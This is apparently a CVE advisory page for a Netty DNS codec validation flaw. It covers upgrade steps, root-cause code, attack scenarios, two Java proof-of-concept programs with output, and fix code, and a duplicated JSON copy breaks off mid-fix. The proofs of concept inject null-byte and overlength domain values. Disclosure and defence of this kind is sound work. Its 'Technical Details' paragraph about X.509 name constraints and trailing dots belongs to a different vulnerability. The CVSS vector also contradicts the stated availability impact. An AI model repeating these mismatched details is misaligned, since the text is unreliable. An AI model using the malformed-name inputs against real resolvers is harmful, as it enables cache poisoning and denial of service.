CVE-2026-42579: Netty codec dns Netty Has A DNS Codec Vulnerability

HIGH
Advisory Identifier: GHSA-cm33-6792-r9fm
CVSS 7.5
CWE-400 CWE-626 CWE-20
Published
Advisory Summary

CVE-2026-42579 is a HIGH (CVSS 7.5) netty has a dns codec vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Netty codec dns libraries in the Maven ecosystem. The issue involves netty has a dns codec input validation bypass (encoder + decoder). Remediation is available by upgrading affected packages to version 4.2.13.Final, 4.1.133.Final.

CVE-2026-42579 at a Glance

CVE Identifier CVE-2026-42579
GHSA Identifier GHSA-cm33-6792-r9fm
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Netty codec dns
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-42579

To remediate this vulnerability, upgrade all affected Netty codec dns dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

io.netty:netty-codec-dns fixed: 4.2.13.Final
<dependency>
    <groupId>io.netty</groupId>
    <artifactId>netty-codec-dns</artifactId>
    <version>4.2.13.Final</version>
</dependency>
io.netty:netty-codec-dns fixed: 4.1.133.Final
<dependency>
    <groupId>io.netty</groupId>
    <artifactId>netty-codec-dns</artifactId>
    <version>4.1.133.Final</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=io.netty

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-42579, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=io.netty

Analyze the terminal output to locate any version of Netty codec dns in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.2.13.Final), your application is affected.

Note: The mvn dependency:tree -Dincludes=io.netty command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & RFC 5280 Specification

Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of Netty codec dns failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.

Source Advisory Statement

# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder) ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-dns) | | **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` | | **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption | | **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets | ## 2. Affected Components Both the encoder and decoder in the same file are affected: - `io.netty.handler.codec.dns.DnsCodecUtil` — `encodeDomainName()` method (lines 31-51): - No null byte validation in domain name labels - No per-label length validation (RFC 1035 max: 63 bytes) - No total domain name length validation (RFC 1035 max: 255 bytes) - Empty labels silently truncate the domain name - `io.netty.handler.codec.dns.DnsCodecUtil` — `decodeDomainName()` method (lines 53-118): - No per-label length validation (max 63) - No total domain name length validation (max 255) - Unbounded StringBuilder growth from attacker-controlled DNS responses ## 3. Vulnerability Description Netty's DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. ### 3.1 Encoder Side — Null Byte Injection (CWE-626) A domain name containing a null byte (e.g., `"evil\0.example.com"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently: - **Java (full string)**: sees `"evil\0.example.com"` as a single label containing a null - **C/native DNS libraries**: truncate at the null byte, seeing only `"evil"` - **DNS servers**: may accept or reject based on implementation This differential interpretation enables **DNS cache poisoning** and **domain validation bypass**. ### 3.2 Encoder Side — Overlength Label (RFC 1035 Violation) Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means: - A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers - This creates **parser confusion** between label and pointer interpretation ### 3.3 Encoder Side — Silent Truncation via Empty Labels ```java encodeDomainName("a..b.com", buf); // Encodes as: [01] 'a' [00] // Only "a." is encoded, ".b.com" is silently dropped! ``` An attacker can craft input like `"safe-domain..evil.com"` which gets truncated to just `"safe-domain."`, potentially bypassing domain allowlists. ### 3.4 Decoder Side — Unbounded Memory Allocation The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation. ### Root Cause — Encoder ```java // DnsCodecUtil.java:31-51 static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { break; // NO ERROR - silently truncates! } // NO check: labelLen > 63 // NO check: label contains null bytes // NO check: total name > 255 bytes buf.writeByte(labelLen); // Can write values > 63! ByteBufUtil.writeAscii(buf, label); // Null bytes pass through! } buf.writeByte(0); } ``` ### Root Cause — Decoder ```java // DnsCodecUtil.java:94-99 (decodeDomainName) } else if (len != 0) { if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63 throw new CorruptedFrameException("truncated label in a name"); } name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.'); // ^^^^^^ StringBuilder grows WITHOUT any length limit in.skipBytes(len); } ``` **Missing checks in decoder**: - No `if (len > 63)` check per RFC 1035 Section 2.3.4 - No `if (name.length() > 255)` check for total domain name length ## 4. Exploitability Prerequisites ### Encoder Side (outbound) 1. An application constructs DNS queries using Netty's DNS codec with user-influenced domain names 2. The constructed DNS packets are sent to DNS servers or resolvers ### Decoder Side (inbound) 1. An application uses Netty's `codec-dns` or `resolver-dns` module to process DNS responses 2. The application communicates with a malicious or compromised DNS server **Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames. ## 5. Attack Scenarios ### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder) ```java String hostname = userInput; // "evil\0.trusted.com" DnsQuery query = new DefaultDnsQuery(...) .addRecord(DnsSection.QUESTION, new DefaultDnsQuestion(hostname, DnsRecordType.A)); ``` The DNS query for `"evil\0.trusted.com"` may be interpreted by some resolvers as a query for `"evil"` (truncated at null). If the attacker controls the DNS for `"evil"`, they can return a response that gets cached for `"evil\0.trusted.com"` (or vice versa), poisoning the cache. ### Scenario 2: Label/Pointer Confusion (Encoder) A 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous: ``` Byte: [C8] [61 61 61 ... (200 bytes)] ↑ Label interpretation: 200-byte label starting with 'a' Pointer interpretation: pointer to offset 0x0861 = 2145 ``` ### Scenario 3: Memory Exhaustion via Large Labels (Decoder) A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation. ### Scenario 4: Domain Truncation via Empty Label (Encoder) ```java encodeDomainName("safe-domain..evil.com", buf); // Only "safe-domain." is encoded, "evil.com" silently dropped ``` This can bypass domain allowlists that check the input string. ### Scenario 5: Downstream Processing Failures (Decoder) Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance. ## 6. Proof of Concept ### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets; public class DnsEncoderNullBytePoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n"); Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method encode = clazz.getDeclaredMethod("encodeDomainName", String.class, ByteBuf.class); encode.setAccessible(true); // Test 1: Null byte in domain name ByteBuf buf = Unpooled.buffer(256); encode.invoke(null, "evil\0.example.com", buf); byte[] bytes = new byte[buf.readableBytes()]; buf.readBytes(bytes); buf.release(); System.out.print("[TEST 1] Null byte - Encoded: "); for (byte b : bytes) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Null byte 0x00 in label data!"); // Test 2: 200-byte label ByteBuf buf2 = Unpooled.buffer(512); encode.invoke(null, "a".repeat(200) + ".com", buf2); System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes"); System.out.println("VULNERABLE: Overlength label accepted!"); buf2.release(); // Test 3: Empty label truncation ByteBuf buf3 = Unpooled.buffer(256); encode.invoke(null, "a..b.com", buf3); byte[] bytes3 = new byte[buf3.readableBytes()]; buf3.readBytes(bytes3); buf3.release(); System.out.print("\n[TEST 3] Empty label - Encoded: "); for (byte b : bytes3) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Domain silently truncated!"); } } ``` ### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets; public class DnsDecoderLengthPoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n"); Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class); decode.setAccessible(true); // Test 1: 100-byte label (RFC limit: 63) ByteBuf buf1 = Unpooled.buffer(256); buf1.writeByte(100); buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII)); buf1.writeByte(3); buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII)); buf1.writeByte(0); String r1 = (String) decode.invoke(null, buf1); buf1.release(); System.out.println("[TEST 1] 100-byte label: length=" + r1.length() + " VULNERABLE=" + (r1.length() > 64)); // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255) ByteBuf buf2 = Unpooled.buffer(512); for (int i = 0; i < 5; i++) { buf2.writeByte(60); buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60) .getBytes(StandardCharsets.US_ASCII)); } buf2.writeByte(0); String r2 = (String) decode.invoke(null, buf2); buf2.release(); System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() + " VULNERABLE=" + (r2.length() > 255)); } } ``` ### How to Compile and Run ```bash JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Encoder PoC javac -cp "$JARS" DnsEncoderNullBytePoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC # Decoder PoC javac -cp "$JARS" DnsDecoderLengthPoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) **Encoder PoC:** ``` === Netty DNS Encoder Validation Bypass PoC === [TEST 1] Null byte in domain name Input: "evil\0.example.com" Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00 Null byte in label data: true VULNERABLE: YES - Null byte accepted! [TEST 2] Label > 63 bytes in encoder Input: "aaaaaa..." (200-char label) Encoded bytes: 206 VULNERABLE: YES - Overlength label accepted in encoder! [TEST 3] Empty labels (consecutive dots) Input: "a..b.com" Encoded bytes: 01 61 00 Note: Empty label truncates the name (may lose data) ``` **Decoder PoC:** ``` === Netty DNS Decoder Length Bypass PoC === [TEST 1] Label > 63 bytes (RFC 1035 violation) Label length: 100 bytes (RFC limit: 63) Decoded name length: 105 VULNERABLE: YES - Label > 63 bytes accepted! [TEST 2] Domain > 255 bytes via multiple labels 5 labels x 60 bytes = 300+ bytes total RFC 1035 limit: 255 bytes Decoded name length: 305 VULNERABLE: YES - Domain > 255 bytes accepted! ``` ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Integrity** | HIGH — Null byte injection causes differential interpretation across DNS implementations | | **Availability** | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder | | **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet | | **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies | | **Label/Pointer Confusion** | Length bytes > 63 conflict with RFC 1035 compression pointer encoding | | **Silent Truncation** | Empty labels silently drop the remainder of the domain name | | **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries | ## 8. Remediation Recommendations ### Fix for Encoder (encodeDomainName) ```java static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } int totalLength = 0; final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { throw new IllegalArgumentException("DNS name contains empty label: " + name); } if (labelLen > 63) { throw new IllegalArgumentException( "DNS label length " + labelLen + " exceeds maximum of 63: " + name); } for (int i = 0; i < label.length(); i++) { if (label.charAt(i) == '\0') { throw new IllegalArgumentException( "DNS label contains null byte at index " + i); } } totalLength += 1 + labelLen; if (totalLength > 254) { throw new IllegalArgumentException( "DNS name exceeds maximum length of 255: " + name); } buf.writeByte(labelLen); ByteBufUtil.writeAscii(buf, label); } buf.writeByte(0); } ``` ### Fix for Decoder (decodeDomainName) ```java // Add after "} else if (len != 0) {": if (len > 63) { throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63"); } // Add after "name.append(...)": if (name.length() > 255) { throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255"); } ``` ## 9. Resources - [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4) - [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4) - [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html) - [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html) - [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)

CVE-2026-42579 Affected Netty codec dns Versions

2 component(s)
Fixed Versions:
4.2.13.Final4.1.133.Final
Product / Package Ecosystem Affected Versions Fixed Version
io.netty:netty-codec-dns
Maven
≥ 4.2.0.Alpha1
< 4.2.13.Final
4.2.13.Final
io.netty:netty-codec-dns
Maven
< 4.1.133.Final
4.1.133.Final

References

Frequently Asked Questions

What is CVE-2026-42579?
CVE-2026-42579 is a security vulnerability in Netty codec dns involving Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder) under CWE-400: Uncontrolled Resource Consumption.
Which Netty codec dns versions are affected?
Affected versions include releases prior to 4.2.13.Final, 4.1.133.Final across affected packages: io.netty:netty-codec-dns.
What version fixes CVE-2026-42579?
Upgrading to 4.2.13.Final, 4.1.133.Final (or the latest patched release for your respective branch) resolves the vulnerability.
Is netty-codec-dns affected?
Yes, io.netty:netty-codec-dns is affected in releases prior to 4.2.13.Final, 4.1.133.Final. Upgrade your dependency to 4.2.13.Final, 4.1.133.Final or later.
What is the CVSS score of CVE-2026-42579?
CVE-2026-42579 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-42579?
CVE-2026-42579 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check Maven dependencies for CVE-2026-42579?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=io.netty'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cm33-6792-r9fm",
  "modified" : "2026-05-14T20:40:58Z",
  "published" : "2026-05-07T00:12:47Z",
  "aliases" : [ "CVE-2026-42579" ],
  "summary" : "Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)",
  "details" : "# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` — `encodeDomainName()` method (lines 31-51):\n  - No null byte validation in domain name labels\n  - No per-label length validation (RFC 1035 max: 63 bytes)\n  - No total domain name length validation (RFC 1035 max: 255 bytes)\n  - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` — `decodeDomainName()` method (lines 53-118):\n  - No per-label length validation (max 63)\n  - No total domain name length validation (max 255)\n  - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty's DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side — Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side — Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side — Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] 'a' [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side — Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause — Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            break;  // NO ERROR - silently truncates!\n        }\n        // NO check: labelLen > 63\n        // NO check: label contains null bytes\n        // NO check: total name > 255 bytes\n        buf.writeByte(labelLen);                    // Can write values > 63!\n        ByteBufUtil.writeAscii(buf, label);         // Null bytes pass through!\n    }\n    buf.writeByte(0);\n}\n```\n\n### Root Cause — Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n    if (!in.isReadable(len)) {  // Only checks if bytes EXIST, not if len <= 63\n        throw new CorruptedFrameException(\"truncated label in a name\");\n    }\n    name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');\n    //    ^^^^^^ StringBuilder grows WITHOUT any length limit\n    in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len > 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() > 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty's DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty's `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput;  // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n    .addRecord(DnsSection.QUESTION,\n        new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion (Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte:  [C8] [61 61 61 ... (200 bytes)]\n         ↑\n   Label interpretation: 200-byte label starting with 'a'\n   Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n        Class<?> clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n            String.class, ByteBuf.class);\n        encode.setAccessible(true);\n\n        // Test 1: Null byte in domain name\n        ByteBuf buf = Unpooled.buffer(256);\n        encode.invoke(null, \"evil\\0.example.com\", buf);\n        byte[] bytes = new byte[buf.readableBytes()];\n        buf.readBytes(bytes);\n        buf.release();\n        System.out.print(\"[TEST 1] Null byte - Encoded: \");\n        for (byte b : bytes) System.out.printf(\"%02x \", b & 0xff);\n        System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n        // Test 2: 200-byte label\n        ByteBuf buf2 = Unpooled.buffer(512);\n        encode.invoke(null, \"a\".repeat(200) + \".com\", buf2);\n        System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n        System.out.println(\"VULNERABLE: Overlength label accepted!\");\n        buf2.release();\n\n        // Test 3: Empty label truncation\n        ByteBuf buf3 = Unpooled.buffer(256);\n        encode.invoke(null, \"a..b.com\", buf3);\n        byte[] bytes3 = new byte[buf3.readableBytes()];\n        buf3.readBytes(bytes3);\n        buf3.release();\n        System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n        for (byte b : bytes3) System.out.printf(\"%02x \", b & 0xff);\n        System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n    }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n        Class<?> clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n        decode.setAccessible(true);\n\n        // Test 1: 100-byte label (RFC limit: 63)\n        ByteBuf buf1 = Unpooled.buffer(256);\n        buf1.writeByte(100);\n        buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(3);\n        buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(0);\n        String r1 = (String) decode.invoke(null, buf1);\n        buf1.release();\n        System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n            \" VULNERABLE=\" + (r1.length() > 64));\n\n        // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n        ByteBuf buf2 = Unpooled.buffer(512);\n        for (int i = 0; i < 5; i++) {\n            buf2.writeByte(60);\n            buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60)\n                .getBytes(StandardCharsets.US_ASCII));\n        }\n        buf2.writeByte(0);\n        String r2 = (String) decode.invoke(null, buf2);\n        buf2.release();\n        System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n            \" VULNERABLE=\" + (r2.length() > 255));\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n  Input: \"evil\\0.example.com\"\n  Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n  Null byte in label data: true\n  VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label > 63 bytes in encoder\n  Input: \"aaaaaa...\" (200-char label)\n  Encoded bytes: 206\n  VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n  Input: \"a..b.com\"\n  Encoded bytes: 01 61 00\n  Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label > 63 bytes (RFC 1035 violation)\n  Label length: 100 bytes (RFC limit: 63)\n  Decoded name length: 105\n  VULNERABLE: YES - Label > 63 bytes accepted!\n\n[TEST 2] Domain > 255 bytes via multiple labels\n  5 labels x 60 bytes = 300+ bytes total\n  RFC 1035 limit: 255 bytes\n  Decoded name length: 305\n  VULNERABLE: YES - Domain > 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH — Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes > 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    int totalLength = 0;\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n        }\n        if (labelLen > 63) {\n            